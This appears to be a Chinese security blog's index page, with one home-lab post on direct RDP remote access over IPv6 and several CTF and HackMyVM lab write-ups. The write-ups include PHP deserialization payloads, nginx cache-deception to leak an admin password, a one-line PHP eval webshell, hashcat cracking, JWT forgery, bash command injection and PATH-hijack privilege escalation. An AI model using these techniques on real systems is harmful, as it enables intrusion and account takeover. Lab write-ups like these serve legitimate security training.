[技术杂谈]低成本windows远程控制直连方案(无需VPN组网)

贫穷真的会激起人的创造力 前言 最近经常在学校用mba远控家里的windows,又被todesk、uu远程这类远控软件的逆天延迟搞的口吐芬芳( 唉,资本,你又赢了 一怒之下决定自己搭一个可以直连的远程控制服务,以便在外也能愉快使用 原理 要想自己搭建远控服务,就先来了解一下现在市面上远控软件的主要原理。其实很简单,就是两台电脑利用远控软件提供的中转服务器作为桥梁传输RDP协议数据 这是最常见的模式,也叫Relay。这种模式是延迟最高的,因为两台电脑都需要连接到一台中转服务器上,而两边各自的链接质量都会影响你的最终体验 还有一种就是前言里提到的P2P (peer to peer),也就是直连,一般是先接入Relay,然后再利用udp打洞的形式让各级路由告诉你的两台电脑在其各自nat下的ip地址,以此达到类似直连的效果。这种模式看似方便,但实际上容易出现某一层nat不愿交出路由信息导致最终只能无奈妥协转成Relay的情况 由此可见,在传统的网络架构下,要想用ipv4做到简单部署显然是不可能的,因为现在绝大多数电脑都藏在一层又一层的nat下。所以我们不妨换一个思路,既然v4不行,那就用v6吧 准备工作 开启RDP服务 如果你是windows vista以上的非家庭版,那么只需要打开 控制面板->系统和安全->允许远程访问,将这个勾上 因为这篇文章主要面向在校学生,现在大多windows笔记本又是默认不提供远程访问功能的家庭版,所以下面将教大家怎么为win10/11家庭版破解出远程功能。如果你不需要这一部分教程可以直接跳过。 怎么判断自己需不需要破解呢?我以自己的win11为例,在设置里搜索远程 如果出现下面这样就说明你需要破解 首先需要到这里下载最新版.zip文件 解压后以管理员身份运行这个,为你的windows安装远程控制服务。 运行完打开这个,根据提示操作。操作完关闭后打开这个,进入配置页面 打开后,理论上你的第三行应该都会是红的(因为我已经可以用所以是绿灯),因为你还没将自己的系统相应的配置文件配置好。记住第二行后面的这串数字,我这里是10.0.22621.5124,每台windows的版本都可能不一样,你只需要知道你自己的就行 来到项目issue页面,将你的这串数字贴进去搜索 点进第一条,看看有没有提供配置文件。如果有,就直接复制使用,如果没有,就继续找。 可以看到有人提供,复制这段内容,打开这个路径C:\Program Files\RDP Wrapper。记事本打开rdpwrap.ini,拉到最下面,张贴进去 保存,然后重启你的电脑。重启后如果显示像我上面那样的三行绿就说明破解成功,你的家庭版也可以像其他windows一样接受远程控制了。此时我们回到刚才存放工具的目录,点开这个 它会尝试起一个本地链接来链接你的电脑,如果出现这个页面点击连接 如果能看到你的锁屏界面,那么就说明RDP功能已经开启成功了,接下来我们来配置端口和认证方式。 重新点开这个 你可以参考我的选项来。这里为了不暴露我使用的端口号就调回了3389,当然你也可以自己选一个端口,只要不和你已知的服务冲突 (这段话新手可以跳过不看)另外我需要向懂windows登录验证模式的朋友解释一下这里为什么选择default RDP auth而不是更安全的网络级验证,因为我实在没搞懂它在网络级验证登录窗口要我提供的账号密码是什么,尽管我已经留下了密码凭证但依旧没法使用我的microsoft账户或者windows hello登录。唯独没尝试将我的用户设置为本地用户,因为这会使我失去很多依赖的功能,所以我决定还是用默认RDP验证 配置完成后点击apply,然后再次重启你的电脑,接着我们来配置防火墙。 打开控制面板->系统和安全->Windows Defender防火墙->高级设置->入站规则->新建规则 最后名称和描述随意。完成后你应该能找到一条和我一样的规则 此时你的电脑就已经可以被你的局域网设备访问了,下一步就是要让你的电脑在公网上也能被链接到 地址解析 首先我们肯定不可能自己记v6地址,这玩意不像v4还有记住的可能,而是又臭又长。所以我们就需要一个域名来解决这个问题。这里我选择到porkbun买大家也可以自行到其他国外域名提供商购买,例如namesilo。为什么不到国内的买?因为国内需要备案,需要比较长的等待时间,如果你是和我一样已经迫不及待想开始使用的,就推荐直接找国外的域名商购买 购买完成后,我们就要想办法把自己ip解析上去。但由运营商直接提供的公网ip不像你买的vps那种IDC机房分发的一样固定,而是几乎隔两天就更新一次(具体频率随各个地区运营商不同),所以如果手动解析就会变得很麻烦,我们就需要ddns ...

May 7, 2025 · 1 min · Red

[靶场笔记]第二十四章

Fast destruct 来看一个例子 <?php class A{ public $haha=1; public function __destruct() { echo 3; } } $a=new A; $b=serialize($a); $test=unserialize($b); $test->haha=2; echo $test->haha; //233 可以发现一个很有意思的点,在unserialize和serialize两个函数结束后都没有马上执行echo 3;,而是在最后执行完echo $test->haha;才执行,原理如下 如果单独执行unserialize函数进行常规的反序列化,那么被反序列化后的整个对象的生命周期就仅限于这个函数执行的生命周期,当这个函数执行完毕,这个类就没了,在有析构函数的情况下就会执行它。 如果反序列化函数序列化出来的对象被赋给了程序中的变量,那么被反序列化的对象其生命周期就会变长,由于它一直都存在于这个变量当中,当这个对象被销毁,才会执行其析构函数。 而有时候我们必须让destruct在unserialize结束后马上结束,就要用到fast destruct。操作起来很简单,一种方式就是修改序列化字符串的结构,使得完成部分反序列化的unserialize强制退出,提前触发__destruct,其中的几种方式如下 #修改序列化数字元素个数 a:2:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}} #去掉序列化尾部 } a:1:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}} 本质上,fast destruct 是因为unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的__destruct(),提前触发反序列化链条。 serialize(unserialize($x)) != $x 先来看个正常的反序列过程 <?php class A{ public $a='b'; } $raw='O:1:"A":1:{s:1:"a";s:1:"b";}'; var_dump(unserialize($raw)); // object(A)#1 (1) { ["a"]=> string(1) "b" } 理论上,serialize(unserialize($raw))应该就等于$raw本身,但存在一种特殊情况会导致不相等,在讨论前先来看一下下面这个例子 在php中有一个预置类叫__PHP_Incomplete_Class,用来存放“需要进行反序列化的不存在的对象”。什么意思呢,就像下面这样 <?php $raw = 'O:1:"A":1:{s:1:"a";s:1:"b";}'; echo serialize(unserialize($raw)); //O:1:"A":1:{s:1:"a";s:1:"b";} 在这个脚本中并不存在A这个类,但还是反序列化再序列化成功了。来看看它怎么反序列化成功的 <?php $raw='O:1:"A":1:{s:1:"a";s:1:"b";}'; var_dump(unserialize($raw)); // object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(1) "A" ["a"]=> string(1) "b" } 可以看到php把这个不存在的对象放到了__PHP_Incomplete_Class,类名为放到__PHP_Incomplete_Class_Name,剩下部分的放置和正常反序列化一样。那如果我们把__PHP_Incomplete_Class作为已知类进行反序列化呢 ...

April 17, 2025 · 1 min · Red

HMV NoPort | Writeup

主机发现后先扫一下端口 只有一个80端口,接着扫目录 发现有.git,直接githack下来 会发现有一个swp状态的文件 先vim -r .test.php.swp恢复一下,然后复制保存,把所有clone下来的东西拖到vscode里开始审计 先来看看nginx和apache,因为一般会起两个服务并且题目只提供一个端口应该是有前后关系 nginx.conf里可以看到用户为www-data,启用了proxy_cache,也就是会把访问的内容缓存。但缓存了什么以及如何触发缓存还不知,继续往下看 引用了ctf.conf 可以看到80端口做了哪些路由。访问index.php和一些静态文件后缀的路径都会被跳到127.0.0.1:8080,并且配置文件里没有提到是nginx起的php-fpm,再结合有个apache,因此推测内部拓补大概就长这样 并且可以发现,nginx会将你访问的静态文件缓存下来,这样这里的nginx就起到了一个类似CDN的作用。那么接下来就开始审php 在index.php可以归结出3种路由 第一种是visit 可以看到这个路径主要作用是去访问test.php,这个放到一会儿再看。 第二种是login,这个没什么好说,就是判断是否正确登陆,成功后跳转到一个叫sh3ll.php的地方 第三种是其他路径,也就是除了上面两种路径以外的路径。不过这里面又分了两种小路由,并且想要触发这两个路由都需要在通过验证的情况下才可以进入 一种是路径中带profile字样,就给你放回你当前来访问这个路由的用户的账号信息,包括密码 第二种是直接去访问路径里的其他文件 接下来看一下test.php。日志的文件名被写死,基本不可能利用写入恶意代码的方式。 接下去是调用bot_runner函数,这个函数在调用上面的login_and_get_cookie函数去获取admin的cookie后,允许你携带管理员的cookie去访问你给的uri。 我们可以发现,虽然bot_runner函数会帮我们访问没错,但是并不会携带访问结果,也就是你看不到respones,所以要想办法把结果带出来。这个时候就要用到nginx里的缓存功能,设想一下,如果我们能将respones保存在一个静态文件里,不就可以看了吗? 所以我们可以构造这样一个payload uri=profile/1.css 可以设想一下,当管理员访问了profile后,php会返回密码,而nginx则会认为profile/1是一个css文件的文件名从而将页面内容缓存下来,这样只要我们访问profile/1.css就能得到结果 拿到密码后发现直接用这串密码是sha256加密过的,需要爆破 把密码存进hash文件里,直接上rockyou hashcat -m 1400 -a 0 hash rockyou.txt 得到明文starbucks 登陆后看到可以执行命令 直接写一句马上蚁剑 echo -n '<?php eval($_POST[1]);?>' > 1.php 在/var/www看到一个文件pass 翻译过来就是用户密码就是前面我们拿到的那个登录密码,尝试直接su会发现没有权限,所以应该是有别的方法。在/opt/hello下发现一个readme 翻译过来就是nginx会随着机器的重启而重启,下面附了一个建议,建议我们先在本地测试好nginx配置以免因配置错误导致服务崩溃 并在home下发现用户名 先看一下sudo -l,发现可以reboot 并且发现ssh服务,但是监听的是127,所以要想办法把这个端口映射出去 那就到nginx配置目录下看看 ...

April 9, 2025 · 1 min · Red

HMV Tryharder | Writeup

第一个一血,记录一下 Foothood 打开后发现有一个API调试路径 进来后是一个登录框 接着bp直接爆破, 进来后抓个包发现是jwt 直接丢到jwt.io看一下 很典的HS256,空密钥改admin,然后丢jwt_tool里先梭一把试试 上来了,接着直接传马发现不对劲 上.htaccess 拿下 连蚁剑,方便后面操作 直接冲/home,看一下能不能读,发现可以直接读flag 提权 - pentester 接着应该就是要想办法先拿到pentester,看一下/etc/passwd 看不懂思密达,丢给d老师问一下 感觉没啥用,那就只能继续信息搜集。这里卡了好一会儿,直到去opt逛了逛,发现他们几个 有nc,先弹个shell 跑一下pty,再跑一下pspy64 发现srv下面有东西,去看看 (这是在致敬2025 CCB吗= =) 拿刚才GECOS里的文本对照一下 发现有些字符不一样,就可以联想到二进制,一样的是1,不一样的是0(或者一样的是0,不一样的是1,两个我都试了一下)让d老师搓一个脚本对比就行 提取 - xiix 发现没有netstat,那就直接上fscan 有个8989,并且联想到刚才被xiix执行的backdoor.py,直接nc梭一波试试 提权 - root 写authorized_keys上来后,发现有个guess_game,跑一下 emm运气得留在更重要的地方🙏所以找找有没有别的办法,因为是游戏,所以第一时间想到可能留有后门。看一下env 有个1337,试试? ...

April 9, 2025 · 1 min · Red

[HMV]第二章

7066端口 这个端口一般是马,可以直接用nc连试试。不过可能会断联,nmap也可能探测不出来,要多尝试几次 bash中的比较 如果使用-ne,-eq等比较两个值是否相等的办法,会先将变量作为表达式进行执行解析,尝试转化为整数。例如 read -p ">>>" a b=456 if [[ $a -eq $b ]]; then #这里注意,[[]]里要用空格和$a、$b隔开,不然会报错 echo "right" else echo "wrong" fi 可以发现b被直接拿去解析了。就算加引号也会递归 read -p ">>>" a b="c" c=123 if [[ "$a" -eq "$b" ]]; then echo "right" else echo "wrong" fi 代码里是加了""的,但是在debug模式下就不见了,说明bash确实会执行给的表达式 那我们就可以利用递归这一点进行利用。先试试数组 成功利用,试试c[1] 因为c[1]是空的所以是wrong。接着再试试算式 成功执行,那就试试$()吧 wine提权 wine是用来转椅windows程序的,并且自带了windows的cmd环境。如果wine有sudo,可以直接用sudo wine cmd拿到拥有root权限的cmd 当然要是不行的话,也可以用cs上线的方式拿到shell。msfvenom会报错,原因不明。 PATH提权 和windows里的path环境变量有点类似,linux下的PATH一般指向程序的运行路径。例如我们常用的cat,ls等指令,之所以可以直接执行而不用在前面加一大串路径就是因为PATH里给你写好了,比如这是我自己的kali PATH 只要在这些路径下的可执行程序或脚本都可以直接上。 那么这就有可以操作的空间,如果某天你碰到一个开发者自己编译的程序,用string看到里面调用了cat或者ls,并且有suid,那么只需要做下面这波操作就能提权。下面以cat为例 export PATH=/tmp:PATH echo -e '#!/bin/bash\nbash -p' > /tmp/cat chmod +x /tmp/cat ./开发者的程序

March 31, 2025 · 1 min · Red